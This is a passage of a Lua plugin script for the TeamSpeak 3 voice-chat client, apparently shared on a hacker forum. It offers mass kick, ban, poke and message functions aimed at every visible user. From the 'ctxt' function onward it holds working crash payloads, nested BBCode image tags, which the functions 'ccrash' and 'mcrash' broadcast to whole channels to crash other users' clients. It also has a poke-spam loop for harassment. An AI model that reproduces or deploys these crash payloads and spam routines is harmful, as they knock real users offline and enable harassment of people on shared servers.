if myClientID == 0 then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
end | |
-- Get which channel we are in | |
local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting own channel: " .. error) | |
return | |
end | |
ts3.printMessageToCurrentTab("Channel ID = " .. myChannelID .. ".") | |
local clients, error = ts3.getClientList(serverConnectionHandlerID) | |
if error == ts3errors.ERROR_not_connected then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
elseif error ~= ts3errors.ERROR_ok then | |
print("Error getting client list: " .. error) | |
return | |
end | |
-- Process Argument message | |
local argMsg = "" | |
for i,v in ipairs(arg) do | |
argMsg = argMsg .. tostring(v) .. " " | |
end | |
local msgcounter = 0 | |
local pokecounter = 0 | |
ts3.printMessageToCurrentTab("[b][i]== Mass poking & messaging " .. #clients - 1 .. " visible clients ==[/i][/b]") | |
for i=1, #clients do | |
if clients[i] ~= myClientID then | |
local error = ts3.requestClientPoke(serverConnectionHandlerID, clients[i], argMsg) | |
if error == ts3errors.ERROR_ok then | |
pokecounter = pokecounter + 1 | |
else | |
print("Error poking client ID: " .. clients[i] .. "\n") | |
end | |
local error = ts3.requestSendPrivateTextMsg(serverConnectionHandlerID, argMsg, clients[i]) | |
if error == ts3errors.ERROR_ok then | |
msgcounter = msgcounter + 1 | |
else | |
print("Error messaging client ID: " .. clients[i] .. "\n") | |
end | |
end | |
end | |
ts3.printMessageToCurrentTab("[b][i]== Successfully poked " .. pokecounter .. "/" .. #clients - 1 .. " clients, and messaged " .. msgcounter .. "/" .. #clients - 1 .. " clients ==[/i][/b]") | |
end | |
-- | |
-- Global Mass Mover Script (subscribe all possible channels before moving) (/lua run gmm) | |
-- | |
function gmm(serverConnectionHandlerID, ...) | |
-- ts3.printMessageToCurrentTab("= [b][u]Mass Control Module Version 1.2 by [url=http://forum.teamspeak.com/showthread.php?t=57386]Willy_Sunny[/url][/u][/b] =") | |
-- Get Self ID | |
local myClientID, error = ts3.getClientID(serverConnectionHandlerID) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting own client ID: " .. error) | |
return | |
end | |
if myClientID == 0 then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
end | |
-- Get which channel we are in | |
local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting own channel: " .. error) | |
return | |
end | |
ts3.printMessageToCurrentTab("Channel ID = " .. myChannelID .. ".") | |
local error = ts3.requestChannelSubscribeAll(serverConnectionHandlerID) | |
if error == ts3errors.ERROR_not_connected then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
elseif error ~= ts3errors.ERROR_ok then | |
print("Error subscribing channel: " .. error) | |
return | |
end | |
local clients, error = ts3.getClientList(serverConnectionHandlerID) | |
if error == ts3errors.ERROR_not_connected then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
elseif error ~= ts3errors.ERROR_ok then | |
print("Error getting client list: " .. error) | |
return | |
end | |
local password = "" | |
if type(arg[1]) ~= "nil" then | |
password = arg[1] | |
ts3.printMessageToCurrentTab("[b][i]== Mass moving " .. #clients - 1 .. " visible clients (Using Password: " .. password .. " ) ==[/i][/b]") | |
else | |
ts3.printMessageToCurrentTab("[b][i]== Mass moving " .. #clients - 1 .. " ==[/i][/b]") | |
end | |
local counter = 0 | |
for i=1, #clients do | |
if clients[i] ~= myClientID then | |
local error = ts3.requestClientMove(serverConnectionHandlerID, clients[i], myChannelID, password) | |
if error == ts3errors.ERROR_ok then | |
counter = counter + 1 | |
else | |
clientName = "Error getting client name" | |
end | |
end | |
end | |
ts3.printMessageToCurrentTab("[b][i]== Successfully moved " .. counter .. " / " .. #clients - 1 .. " clients. ==[/i][/b]") | |
end | |
-- | |
-- Global Mass Poke Script (subscribe all possible channels before moving) (/lua run gmp <message>) | |
-- | |
function gmp(serverConnectionHandlerID, ...) | |
-- ts3.printMessageToCurrentTab("= [b][u]Mass Control Module Version 1.2 by [url=http://forum.teamspeak.com/showthread.php?t=57386]Willy_Sunny[/url][/u][/b] =") | |
-- Get Self ID | |
local myClientID, error = ts3.getClientID(serverConnectionHandlerID) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting own client ID: " .. error) | |
return | |
end | |
if myClientID == 0 then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
end | |
local error = ts3.requestChannelSubscribeAll(serverConnectionHandlerID) | |
if error == ts3errors.ERROR_not_connected then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
elseif error ~= ts3errors.ERROR_ok then | |
print("Error subscribing channel: " .. error) | |
return | |
end | |
local clients, error = ts3.getClientList(serverConnectionHandlerID) | |
if error == ts3errors.ERROR_not_connected then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
elseif error ~= ts3errors.ERROR_ok then | |
print("Error getting client list: " .. error) | |
return | |
end | |
-- Process Argument message | |
local argMsg = "" | |
for i,v in ipairs(arg) do | |
argMsg = argMsg .. tostring(v) .. " " | |
end | |
local counter = 0 | |
ts3.printMessageToCurrentTab("[b][i]== Mass poking " .. #clients - 1 .. " visible clients ==[/i][/b]") | |
for i=1, #clients do | |
if clients[i] ~= myClientID then | |
local error = ts3.requestClientPoke(serverConnectionHandlerID, clients[i], argMsg) | |
if error == ts3errors.ERROR_ok then | |
counter = counter + 1 | |
else | |
print("Error poking client ID: " .. clients[i] .. "\n") | |
end | |
end | |
end | |
ts3.printMessageToCurrentTab("[b][i]== Successfully poked " .. counter .. "/" .. #clients - 1 .. " clients ==[/i][/b]") | |
end | |
-- | |
-- Global Mass Message Script (subscribe all possible channels before moving) (/lua run gmmsg <message>) | |
-- | |
function gmmsg(serverConnectionHandlerID, ...) | |
-- ts3.printMessageToCurrentTab("= [b][u]Mass Control Module Version 1.2 by [url=http://forum.teamspeak.com/showthread.php?t=57386]Willy_Sunny[/url][/u][/b] =") | |
-- Get Self ID | |
local myClientID, error = ts3.getClientID(serverConnectionHandlerID) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting own client ID: " .. error) | |
return | |
end | |
if myClientID == 0 then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
end | |
local error = ts3.requestChannelSubscribeAll(serverConnectionHandlerID) | |
if error == ts3errors.ERROR_not_connected then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
elseif error ~= ts3errors.ERROR_ok then | |
print("Error subscribing channel: " .. error) | |
return | |
end | |
-- Get which channel we are in | |
local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting own channel: " .. error) | |
return | |
end | |
local clients, error = ts3.getClientList(serverConnectionHandlerID) | |
if error == ts3errors.ERROR_not_connected then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
elseif error ~= ts3errors.ERROR_ok then | |
print("Error getting client list: " .. error) | |
return | |
end | |
-- Process Argument message | |
local argMsg = "" | |
for i,v in ipairs(arg) do | |
argMsg = argMsg .. tostring(v) .. " " | |
end | |
local counter = 0 | |
ts3.printMessageToCurrentTab("[b][i]== Mass messaging " .. #clients - 1 .. " visible clients ==[/i][/b]") | |
for i=1, #clients do | |
if clients[i] ~= myClientID then | |
local error = ts3.requestSendPrivateTextMsg(serverConnectionHandlerID, argMsg, clients[i]) | |
if error == ts3errors.ERROR_ok then | |
counter = counter + 1 | |
else | |
print("Error messaging client ID: " .. clients[i] .. "\n") | |
end | |
end | |
end | |
ts3.printMessageToCurrentTab("[b][i]== Successfully messaged " .. counter .. "/" .. #clients - 1 .. " clients ==[/i][/b]") | |
end | |
-- | |
-- Global Mass Message & Poke Script (subscribe all possible channels before moving) (/lua run gmmp <message>) | |
-- | |
function gmmp(serverConnectionHandlerID, ...) | |
-- ts3.printMessageToCurrentTab("= [b][u]Mass Control Module Version 1.2 by [url=http://forum.teamspeak.com/showthread.php?t=57386]Willy_Sunny[/url][/u][/b] =") | |
-- Get Self ID | |
local myClientID, error = ts3.getClientID(serverConnectionHandlerID) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting own client ID: " .. error) | |
return | |
end | |
if myClientID == 0 then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
end | |
local error = ts3.requestChannelSubscribeAll(serverConnectionHandlerID) | |
if error == ts3errors.ERROR_not_connected then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
elseif error ~= ts3errors.ERROR_ok then | |
print("Error subscribing channel: " .. error) | |
return | |
end | |
local clients, error = ts3.getClientList(serverConnectionHandlerID) | |
if error == ts3errors.ERROR_not_connected then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
elseif error ~= ts3errors.ERROR_ok then | |
print("Error getting client list: " .. error) | |
return | |
end | |
-- Process Argument message | |
local argMsg = "" | |
for i,v in ipairs(arg) do | |
argMsg = argMsg .. tostring(v) .. " " | |
end | |
local msgcounter = 0 | |
local pokecounter = 0 | |
ts3.printMessageToCurrentTab("[b][i]== Mass poking & messaging " .. #clients - 1 .. " visible clients ==[/i][/b]") | |
for i=1, #clients do | |
if clients[i] ~= myClientID then | |
local error = ts3.requestClientPoke(serverConnectionHandlerID, clients[i], argMsg) | |
if error == ts3errors.ERROR_ok then | |
pokecounter = pokecounter + 1 | |
else | |
print("Error poking client ID: " .. clients[i] .. "\n") | |
end | |
local error = ts3.requestSendPrivateTextMsg(serverConnectionHandlerID, argMsg, clients[i]) | |
if error == ts3errors.ERROR_ok then | |
msgcounter = msgcounter + 1 | |
else | |
print("Error messaging client ID: " .. clients[i] .. "\n") | |
end | |
end | |
end | |
ts3.printMessageToCurrentTab("[b][i]== Successfully poked " .. pokecounter .. "/" .. #clients - 1 .. " clients, and messaged " .. msgcounter .. "/" .. #clients - 1 .. " clients ==[/i][/b]") | |
end | |
-- -----------------------------=LOGGING=------------------------------------- | |
if EMC_DEBUG == true then | |
-- local logMSG = ("loading..." --, SCRIPT , VERSION) | |
ts3.printMessageToCurrentTab("[color=darkgreen]".. SCRIPT1SHORT .."[/color] functions loaded.") | |
-- Log(LogMSG) | |
end | |
-- ____________________________-=LOGGING=-____________________________________ | |
------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | |
--====================================================================================================================================================================== | |
-- Mass ExoticHackers TS3 Tools Functions | |
--====================================================================================================================================================================== | |
------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | |
-- | |
-- Run with "/lua run mk <message>" | |
-- | |
function mk(serverConnectionHandlerID, ...) | |
-- ts3.printMessageToCurrentTab("= [b][u]Mass ExoticHackers TS3 Tools Version 1.0b by [url=http://exotichackers.net/member.php?8-TheCAKiLLa]TheCAKiLLa[/url][/u][/b] =") | |
------------ | |
-- Get Self ID | |
local myClientID, error = ts3.getClientID(serverConnectionHandlerID) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting own client ID: " .. error) | |
return | |
end | |
if myClientID == 0 then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
end | |
-- Get which channel we are in | |
local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting own channel: " .. error) | |
return | |
end | |
local clients, error = ts3.getClientList(serverConnectionHandlerID) | |
if error == ts3errors.ERROR_not_connected then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
elseif error ~= ts3errors.ERROR_ok then | |
print("Error getting client list: " .. error) | |
return | |
end | |
-- Process Argument message | |
local argMsg = "" | |
for i,v in ipairs(arg) do | |
argMsg = argMsg .. tostring(v) .. " " | |
end | |
local counter = 0 | |
ts3.printMessageToCurrentTab("[b][i]== Mass Kicking " .. #clients - 1 .. " visible clients ==[/i][/b]") | |
for i=1, #clients do | |
if clients[i] ~= myClientID then | |
local error = ts3.requestClientKickFromServer(serverConnectionHandlerID, clients[i], argMsg) | |
if error == ts3errors.ERROR_ok then | |
counter = counter + 1 | |
else | |
print("Error poking client ID: " .. clients[i] .. "\n") | |
end | |
end | |
end | |
ts3.printMessageToCurrentTab("[b][i]== Successfully Kicked " .. counter .. "/" .. #clients - 1 .. " clients ==[/i][/b]") | |
end | |
-- | |
-- Run with "/lua run mck <message>" | |
-- | |
function mck(serverConnectionHandlerID, channelID, kickMSG) | |
-- ts3.printMessageToCurrentTab("= [b][u]Mass ExoticHackers TS3 Tools Version 1.0b by [url=http://exotichackers.net/member.php?8-TheCAKiLLa]TheCAKiLLa[/url][/u][/b] =") | |
------------ | |
-- Get Self ID | |
local myClientID, error = ts3.getClientID(serverConnectionHandlerID) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting own client ID: " .. error) | |
return | |
end | |
if myClientID == 0 then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
end | |
-- Get which channel we are in | |
local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting own channel: " .. error) | |
return | |
end | |
if channelID == 0 then | |
clients, error = ts3.getClientList(serverConnectionHandlerID) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting clients: " .. error) | |
return | |
end | |
else | |
clients, error = ts3.getChannelClientList(serverConnectionHandlerID, channelID) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting clients of channel: " .. channelID .. " errorID: " .. error) | |
return | |
end | |
end | |
if error == ts3errors.ERROR_not_connected then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
elseif error ~= ts3errors.ERROR_ok then | |
print("Error getting client list: " .. error) | |
return | |
end | |
-- Process Argument message | |
-- local argMsg = "" | |
-- for i,v in kickMSG do | |
-- argMsg = argMsg .. tostring(v) .. " " | |
-- end | |
local counter = 0 | |
if channelID == 0 then | |
ts3.printMessageToCurrentTab("[b][i]== Mass Kicking " .. #clients - 1 .. " visible clients ==[/i][/b]") | |
else | |
ts3.printMessageToCurrentTab("[b][i]== Mass Kicking " .. #clients - 1 .. " visible clients from Channel #" .. channelID .. " ==[/i][/b]") | |
end | |
for i=1, #clients do | |
if clients[i] ~= myClientID then | |
local error = ts3.requestClientKickFromChannel(serverConnectionHandlerID, clients[i], kickMSG) | |
if error == ts3errors.ERROR_ok then | |
counter = counter + 1 | |
else | |
print("Error kicking client ID: " .. clients[i] .. "\n") | |
end | |
end | |
end | |
if channelID == 0 then | |
ts3.printMessageToCurrentTab("[b][i]== Successfully Kicked From Channel " .. counter .. "/" .. #clients - 1 .. " clients ==[/i][/b]") | |
else | |
ts3.printMessageToCurrentTab("[b][i]== Successfully Kicked from Channel #" .. channelID .. " " .. counter .. "/" .. #clients - 1 .. " clients ==[/i][/b]") | |
end | |
end | |
-- | |
-- Run with "/lua run mb <duration> <message>" | |
-- | |
function mb(serverConnectionHandlerID, timeInSeconds, banMSG) | |
-- ts3.printMessageToCurrentTab("= [b][u]Mass ExoticHackers TS3 Tools Version 1.0b by [url=http://exotichackers.net/member.php?8-TheCAKiLLa]TheCAKiLLa[/url][/u][/b] =") | |
-- Get Self ID | |
local myClientID, error = ts3.getClientID(serverConnectionHandlerID) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting own client ID: " .. error) | |
return | |
end | |
if myClientID == 0 then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
end | |
-- Get which channel we are in | |
local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting own channel: " .. error) | |
return | |
end | |
local clients, error = ts3.getClientList(serverConnectionHandlerID) | |
if error == ts3errors.ERROR_not_connected then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
elseif error ~= ts3errors.ERROR_ok then | |
print("Error getting client list: " .. error) | |
return | |
end | |
-- Process Argument message | |
-- local argMsg = "" | |
-- for i,v in ipairs(arg) do | |
-- argMsg = argMsg .. tostring(v) .. " " | |
-- end | |
local counter = 0 | |
ts3.printMessageToCurrentTab("[b][i]== Mass Banning " .. #clients - 1 .. " visible clients ==[/i][/b]") | |
for i=1, #clients do | |
if clients[i] ~= myClientID then | |
local error = ts3.banclient(serverConnectionHandlerID,clients[i], timeInSeconds, banMSG) | |
if error == ts3errors.ERROR_ok then | |
counter = counter + 1 | |
else | |
print("Error banning client ID: " .. clients[i] .. "\n") | |
end | |
end | |
end | |
ts3.printMessageToCurrentTab("[b][i]== Successfully Banned" .. counter .. "/" .. #clients - 1 .. " clients ==[/i][/b]") | |
end | |
-- -----------------------------=LOGGING=------------------------------------- | |
if EMC_DEBUG == true then | |
-- local logMSG = ("loading..." --, SCRIPT , VERSION) | |
ts3.printMessageToCurrentTab("[color=darkgreen]".. SCRIPT2SHORT .."[/color] functions loaded.") | |
-- Log(LogMSG) | |
end | |
-- ____________________________-=LOGGING=-____________________________________ | |
------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | |
--====================================================================================================================================================================== | |
-- Extended Mass Control Module Functions | |
--====================================================================================================================================================================== | |
------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | |
-- This WILL freeze your client while running. You can hear other voice messages, but you cannot transmit for #ofpokes*secsInBetweenPokes seconds. | |
function emcpokespam(serverConnectionHandlerID, pokeNum, sleepNum, clientID, txt) | |
local clock = os.clock | |
local function sleep(n) | |
local t0 = clock() | |
while clock() - t0 <= n do end | |
end | |
i = 1 | |
while i <= pokeNum do | |
sleep(sleepNum) | |
local error = ts3.requestClientPoke(serverConnectionHandlerID, clientID, txt) | |
if error == ts3errors.ERROR_not_connected then | |
ts3.printMessage(serverConnectionHandlerID, "Error: Not Connected") | |
return | |
elseif error ~= ts3errors.ERROR_ok then | |
print("Getting Error: " .. error .. "by poking the ID: " .. clientID) | |
return | |
end | |
i = i + 1 | |
end | |
end | |
function pokeall(serverConnectionHandlerID) | |
local clients, error = ts3.getClientList(serverConnectionHandlerID) | |
for i=1, #clients do | |
local clname, clientNameError = ts3.getClientVariableAsString(serverConnectionHandlerID, clients[i], ts3defs.ClientProperties.CLIENT_NICKNAME) | |
ts3.requestClientPoke(serverConnectionHandlerID, clients[i], "*poked*") | |
end | |
end | |
-- function pokespam(serverConnectionHandlerID, clientID, txt, count, delay) | |
-- local clock = os.clock | |
-- local function sleep(n) | |
-- local t0 = clock() | |
-- while clock() - t0 <= n do end | |
-- end | |
-- local error = ts3.requestClientPoke(serverConnectionHandlerID, clientID, txt) | |
-- if error == ts3errors.ERROR_not_connected then | |
-- ts3.printMessage(serverConnectionHandlerID, "Error: Not Connected") | |
-- return | |
-- elseif error ~= ts3errors.ERROR_ok then | |
-- print ("Getting Error: " .. error .. "by poking the ID: " .. clientID) | |
-- return | |
-- end | |
-- for i = 0, i < count, i++ | |
-- ts3.requestClientPoke(serverConnectionHandlerID, clientID, txt) | |
-- sleep(delay) | |
-- end | |
-- end | |
-- | |
-- Run with "/lua run ctxt" | |
-- | |
function ctxt(serverConnectionHandlerID) | |
ts3.printMessageToCurrentTab("[b][color=white]Normal Text to crash Clients (Just Copy and paste the Text below):[/color][/b]") | |
ts3.printMessageToCurrentTab("[color=red][norparse][img][img]//http://www.teamspeak.com/templates/teamspeak_v3/images/blank.gif[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser75.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7a.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7b.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser75.png?ver=4.6.0.24[/img][/img][/color]") | |
end | |
-- | |
-- Run with "" | |
-- | |
-- Channel Crash Script (/lua run ccrash) | |
-- | |
function ccrash(serverConnectionHandlerID, ...) | |
-- Get Self ID | |
local myClientID, error = ts3.getClientID(serverConnectionHandlerID) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting own client ID: " .. error) | |
return | |
end | |
if myClientID == 0 then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
end | |
local error = ts3.requestChannelSubscribeAll(serverConnectionHandlerID) | |
if error == ts3errors.ERROR_not_connected then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
elseif error ~= ts3errors.ERROR_ok then | |
print("Error subscribing channel: " .. error) | |
return | |
end | |
-- Get which channel we are in | |
local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting own channel: " .. error) | |
return | |
end | |
--ts3.printMessageToCurrentTab("= [b][u][color=yellow]Remember:[/color] This works only if the Victims are running on TeamSpeak 3 Version [color=red]3.0.14[/color][/u][/b] =") | |
ts3.printMessageToCurrentTab("[b][i]== Mass crashing all clients in Channel: " .. myChannelID .. "") | |
ts3.requestSendChannelTextMsg(serverConnectionHandlerID, multiCrashMSG, myChannelID) | |
end | |
-- | |
-- Run with "/lua run hctxt" | |
-- | |
-- function hctxt(serverConnectionHandlerID) | |
-- ts3.printMessageToCurrentTab("[b][color=white]Hidden Text to crash Clients (Just Copy and paste the Text below):[/color][/b]") | |
-- ts3.printMessageToCurrentTab("[color=red][img][img]" width="999999" height="999999[/img][/img][img][img]//http://www.teamspeak.com/templates/teamspeak_v3/images/blank.gif[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser75.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7a.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7b.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser75.png?ver=4.6.0.24[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7z.png?ver=4.6.0.28[/img][/img][/color]") | |
-- end | |
-- | |
-- Run with "/lua run chcrash" | |
-- | |
-- Channel Mass Hidden Crash Script (subscribe all possible channels before crashing) | |
-- | |
-- function chcrash(serverConnectionHandlerID, ...) | |
-- Get Self ID | |
-- local myClientID, error = ts3.getClientID(serverConnectionHandlerID) | |
-- if error ~= ts3errors.ERROR_ok then | |
-- print("Error getting own client ID: " .. error) | |
-- return | |
-- end | |
-- if myClientID == 0 then | |
-- ts3.printMessageToCurrentTab("Not connected") | |
-- return | |
-- end | |
-- local error = ts3.requestChannelSubscribeAll(serverConnectionHandlerID) | |
-- if error == ts3errors.ERROR_not_connected then | |
-- ts3.printMessageToCurrentTab("Not connected") | |
-- return | |
-- elseif error ~= ts3errors.ERROR_ok then | |
-- print("Error subscribing channel: " .. error) | |
-- return | |
-- end | |
-- Get which channel we are in | |
-- local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID) | |
-- if error ~= ts3errors.ERROR_ok then | |
-- print("Error getting own channel: " .. error) | |
-- return | |
-- end | |
-- ts3.printMessageToCurrentTab("= [b][u][color=yellow]Remember:[/color] This works only if the Victims are running on TeamSpeak 3 Version [color=red]3.0.14[/color][/u][/b] =") | |
-- ts3.printMessageToCurrentTab("[b][i]== Mass hidden crashing all clients in Channel: " .. myChannelID .. "[/b][/i]") | |
-- local crashMsg = "[img][img] width=''999999'' height=''999999''[/img][/img][img][img]//http://www.teamspeak.com/templates/teamspeak_v3/images/blank.gif[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser75.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7a.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7b.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser75.png?ver=4.6.0.24[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7z.png?ver=4.6.0.28[/img][/img]" | |
-- ts3.requestSendChannelTextMsg(serverConnectionHandlerID, crashMsg, myChannelID) | |
-- end | |
-- | |
-- Run with "/lua run cleartxt" | |
-- | |
-- function cleartxt(serverConnectionHandlerID) | |
-- ts3.printMessageToCurrentTab("[b][color=white]Hidden Text to crash Clients (Just Copy and paste the Text below):[/color][/b]") | |
-- ts3.printMessageToCurrentTab("[color=red][img][img] width=''999999'' height=''999999''[/img][/img][/color]") | |
-- end | |
-- | |
-- Run with "/lua run cclear" | |
-- | |
-- Channel Mass Hidden Crash Script (subscribe all possible channels before crashing) | |
-- | |
-- function cclear(serverConnectionHandlerID, ...) | |
-- Get Self ID | |
-- local myClientID, error = ts3.getClientID(serverConnectionHandlerID) | |
-- if error ~= ts3errors.ERROR_ok then | |
-- print("Error getting own client ID: " .. error) | |
-- return | |
-- end | |
-- if myClientID == 0 then | |
-- ts3.printMessageToCurrentTab("Not connected") | |
-- return | |
-- end | |
-- local error = ts3.requestChannelSubscribeAll(serverConnectionHandlerID) | |
-- if error == ts3errors.ERROR_not_connected then | |
-- ts3.printMessageToCurrentTab("Not connected") | |
-- return | |
-- elseif error ~= ts3errors.ERROR_ok then | |
-- print("Error subscribing channel: " .. error) | |
-- return | |
-- end | |
-- Get which channel we are in | |
-- local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID) | |
-- if error ~= ts3errors.ERROR_ok then | |
-- print("Error getting own channel: " .. error) | |
-- return | |
-- end | |
-- ts3.printMessageToCurrentTab("= [b][u][color=yellow]Remember:[/color] This works only if the Victims are running on TeamSpeak 3 Version [color=red]3.0.14[/color][/u][/b] =") | |
-- ts3.printMessageToCurrentTab("[b][i]== Mass hidden crashing all clients in Channel: " .. myChannelID .. "[/b][/i]") | |
-- local crashMsg = "[img][img] width=''999999'' height=''999999''[/img][/img]" | |
-- ts3.requestSendChannelTextMsg(serverConnectionHandlerID, crashMsg, myChannelID) | |
-- end | |
-- | |
-- Run with "/lua run mctxt" | |
-- | |
function mctxt(serverConnectionHandlerID) | |
ts3.printMessageToCurrentTab("[b][color=white]Text to crash [/color][color=orange]all[/color][color=white] Clients running any Version (Just Copy and paste the Text below):[/color][/b]") | |
ts3.printMessageToCurrentTab("[color=red][img][img]//1/z[/img][/img][img][img]//2/z[/img][/img][img][img]//3/z[/img][/img][img][img]//4/z[/img][/img][img][img]//5/z[/img][/img][img][img]//6/z[/img][/img][img][img]//7/z[/img][/img][img][img]//8/z[/img][/img][img][img]//9/z[/img][/img][img][img]//10/z[/img][/img][img][img]//11/z[/img][/img][img][img]//12/z[/img][/img][img][img]//13/z[/img][/img][img][img]//14/z[/img][/img][img][img]//15/z[/img][/img][img][img]//16/z[/img][/img][img][img]//17/z[/img][/img][img][img]//18/z[/img][/img][img][img]//19/z[/img][/img][img][img]//20/z[/img][/img][img][img]//21/z[/img][/img][img][img]//22/z[/img][/img][img][img]//23/z[/img][/img][img][img]//24/z[/img][/img][img][img]//25/z[/img][/img][img][img]//26/z[/img][/img][img][img]//27/z[/img][/img][img][img]//28/z[/img][/img][img][img]//29/z[/img][/img][img][img]//30/z[/img][/img][img][img]//31/z[/img][/img][/color]") | |
end | |
-- | |
-- Run with "/lua run pctxt" | |
-- | |
function pctxt(serverConnectionHandlerID) | |
ts3.printMessageToCurrentTab("[b][color=white]Poke Text to crash Clients (Just Copy and paste the Text below):[/color][/b]") | |
ts3.printMessageToCurrentTab("[color=red][img]//http://i.answers.microsoft.com/static/images/defaultuser7z.png?ver=4.6.0.28[/img]") | |
end | |
-- | |
-- Run with "/lua run mcrash" | |
-- | |
-- Global Multi Crash Script (Works with every version) (subscribe all possible channels before crashing) | |
-- | |
function mcrash(serverConnectionHandlerID, ...) | |
--ts3.printMessageToCurrentTab("= [b][u][color=yellow]Remember:[/color] This works only if the Victims are running on TeamSpeak 3 Version [color=red]3.0.14[/color][/u][/b] =") | |
-- Get Self ID | |
local myClientID, error = ts3.getClientID(serverConnectionHandlerID) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting own client ID: " .. error) | |
return | |
end | |
if myClientID == 0 then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
end | |
local error = ts3.requestChannelSubscribeAll(serverConnectionHandlerID) | |
if error == ts3errors.ERROR_not_connected then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
elseif error ~= ts3errors.ERROR_ok then | |
print("Error subscribing channel: " .. error) | |
return | |
end | |
-- Get which channel we are in | |
local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting own channel: " .. error) | |
return | |
end | |
local clients, error = ts3.getClientList(serverConnectionHandlerID) | |
if error == ts3errors.ERROR_not_connected then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
elseif error ~= ts3errors.ERROR_ok then | |
print("Error getting client list: " .. error) | |
return | |
end | |
-- Process Argument message | |
local multiCrashMSG = "[img][img]//1/z[/img][/img][img][img]//2/z[/img][/img][img][img]//3/z[/img][/img][img][img]//4/z[/img][/img][img][img]//5/z[/img][/img][img][img]//6/z[/img][/img][img][img]//7/z[/img][/img][img][img]//8/z[/img][/img][img][img]//9/z[/img][/img][img][img]//10/z[/img][/img][img][img]//11/z[/img][/img][img][img]//12/z[/img][/img][img][img]//13/z[/img][/img][img][img]//14/z[/img][/img][img][img]//15/z[/img][/img][img][img]//16/z[/img][/img][img][img]//17/z[/img][/img][img][img]//18/z[/img][/img][img][img]//19/z[/img][/img][img][img]//20/z[/img][/img][img][img]//21/z[/img][/img][img][img]//22/z[/img][/img][img][img]//23/z[/img][/img][img][img]//24/z[/img][/img][img][img]//25/z[/img][/img][img][img]//26/z[/img][/img][img][img]//27/z[/img][/img][img][img]//28/z[/img][/img][img][img]//29/z[/img][/img][img][img]//30/z[/img][/img][img][img]//31/z[/img][/img]" | |
-- for i,v in ipairs(arg) do | |
-- argMsg = argMsg .. tostring(v) .. " " | |
-- end | |
local counter = 0 | |
